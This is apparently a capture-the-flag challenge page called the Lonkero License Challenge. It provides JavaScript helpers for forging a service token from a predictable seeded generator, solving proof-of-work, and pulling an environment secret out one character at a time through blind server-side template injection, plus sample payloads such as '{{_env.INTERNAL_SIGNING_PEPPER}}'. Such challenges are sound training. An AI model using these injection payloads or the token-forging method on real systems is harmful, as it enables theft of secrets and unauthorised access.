Lonkero License Challenge

30+ hour AI-resistant CTF challenge. Extract INTERNAL_SIGNING_PEPPER via SSTI.

Tools & Scripts

get-lonkero.js pow-solver.js binary-search.js

Service Token (use this):

svc_d6e22ebd56af646f9d540a454d642edfa2e86afcffb3a05d
get-lonkero.js - Service Token Calculator
// Service token calculator and exploit helper
const STARTUP_TIMESTAMP = "1739400000000";

function hashToUint32(input) {
  let hash = 0;
  for (let i = 0; i < input.length; i++) {
    const char = input.charCodeAt(i);
    hash = ((hash << 5) - hash) + char;
    hash = hash & hash;
  }
  return hash >>> 0;
}

function createXorshift(seed) {
  let state = seed || 1;
  return function next() {
    state ^= state << 13;
    state ^= state >> 17;
    state ^= state << 5;
    return state >>> 0;
  };
}

function deriveServiceToken(timestamp) {
  const seed = hashToUint32('system:0:' + timestamp);
  const rng = createXorshift(seed);
  let token = 'svc_';
  for (let i = 0; i < 48; i++) {
    token += (rng() % 16).toString(16);
  }
  return token;
}

const token = deriveServiceToken(STARTUP_TIMESTAMP);
console.log('Service Token:', token);
pow-solver.js - Proof of Work Solver
// PoW solver (Node.js)
const crypto = require('crypto');

async function solvePoW(challenge, difficulty) {
  const target = '0'.repeat(difficulty);
  let nonce = 0;

  while (true) {
    const hash = crypto.createHash('sha256')
      .update(challenge + nonce)
      .digest('hex');

    if (hash.startsWith(target)) {
      console.log('Solved! Nonce:', nonce);
      console.log('Hash:', hash);
      return nonce;
    }
    nonce++;

    if (nonce % 100000 === 0) {
      process.stdout.write('\rTried: ' + nonce);
    }
  }
}

// Usage: node pow-solver.js
const challenge = process.argv[2] || 'your-challenge-here';
solvePoW(challenge, 6);
binary-search.js - Character Extraction Example
// Binary search character extraction
async function extractChar(position) {
  let low = 33, high = 126; // ASCII printable range

  while (low < high) {
    const mid = Math.floor((low + high) / 2);

    // Test if char > mid
    const payload = `{{_env.INTERNAL_SIGNING_PEPPER.charCodeAt(${position}) > ${mid}}}`;

    const hasContent = await testPayload(payload);

    if (hasContent) {
      low = mid + 1; // Char is higher
    } else {
      high = mid; // Char is lower or equal
    }
  }

  return String.fromCharCode(low);
}

async function testPayload(payload) {
  // 1. Get PoW challenge
  // 2. Solve PoW
  // 3. Send request with payload
  // 4. Check if  has content
  // Return true if content, false if empty
}

// Extract all 25 characters
async function extractAll() {
  const result = [];
  for (let i = 0; i < 25; i++) {
    const char = await extractChar(i);
    result.push(char);
    console.log(`Pos ${i}: ${char}`);

    // Wait 10 minutes for rate limit
    await new Promise(r => setTimeout(r, 600000));
  }
  return result.join('');
}
Full Documentation & Rules

Objective

Extract all 25 characters of INTERNAL_SIGNING_PEPPER via SSTI

Format: LONKERO-XXXX-XXXX-XXXX-XXXX

Constraints

  • Rate Limit: 10 minutes between requests
  • Prime Hours: Only UTC hours 1,2,3,5,7,11,13,17,19,23
  • Proof of Work: SHA-256 with 6 leading zeros required
  • Error-Based SSTI: Silent failures, use binary search
  • No AI: Human-only solving
  • Time: 30-40 hours minimum

Time Calculation

25 chars × 5 requests/char = 125 requests

125 requests × 10 min = 1,250 min = 20.8 hours

+ Prime hour waiting = 2-3 days calendar time

Tips

  • • Use binary search on ASCII values 33-126
  • • Track progress (first 7 chars are "LONKERO")
  • • Test with {{...charAt(0)}} first
  • • Empty = error or false
  • • Filled = success or true

Rules

Allowed: Scripting, automation, teams

NOT Allowed: AI tools, rate limit bypass, DDoS

Prime Hour Status

Checking...
Current UTC Hour: --
Prime Hours: 1,2,3,5,7,11,13,17,19,23

Rate Limit Timer

Ready
Time until next request

Proof of Work Solver

SSTI Payload Tester

Extraction Progress

Track your character extraction progress (25 chars total)
L O N K E R O - ? ? ? ? - ? ? ? ? - ? ? ? ? - ? ? ? ?
Extracted Known Unknown

Challenge Rules

  • Rate Limit: 10 minutes between requests
  • Prime Hours Only: UTC hours 1,2,3,5,7,11,13,17,19,23
  • Proof of Work: SHA-256 with 6 leading zeros required
  • Error-Based SSTI: Silent failures, use binary search
  • No AI Allowed: Human-only solving, AI detection active
  • Estimated Time: 30-40 hours minimum
  • Target: Extract all 25 characters of INTERNAL_SIGNING_PEPPER

Hints & Tips

Binary Search Technique
// Test if char at position N is greater than 'M' (ASCII 77)
{{_env.INTERNAL_SIGNING_PEPPER.charCodeAt(0) > 77}}

// If returns data → true (char > M)
// If returns empty → false (char <= M) OR error

// Binary search ASCII values 33-126
// Average 6-7 requests per character
    
Time Management

Prime hours: 10 hours per day

Rate limit: 6 requests per hour

Daily capacity: ~60 requests

25 chars × 5 avg requests = 125 total requests

Minimum 2-3 days of active solving!

Example Payloads
// Extract full string (if no rate limit)
{{_env.INTERNAL_SIGNING_PEPPER}}

// Extract single character
{{_env.INTERNAL_SIGNING_PEPPER.charAt(0)}}

// Test character value
{{_env.INTERNAL_SIGNING_PEPPER.charCodeAt(0)}}

// Conditional test (binary search)
{{_env.INTERNAL_SIGNING_PEPPER.charCodeAt(0) > 75}}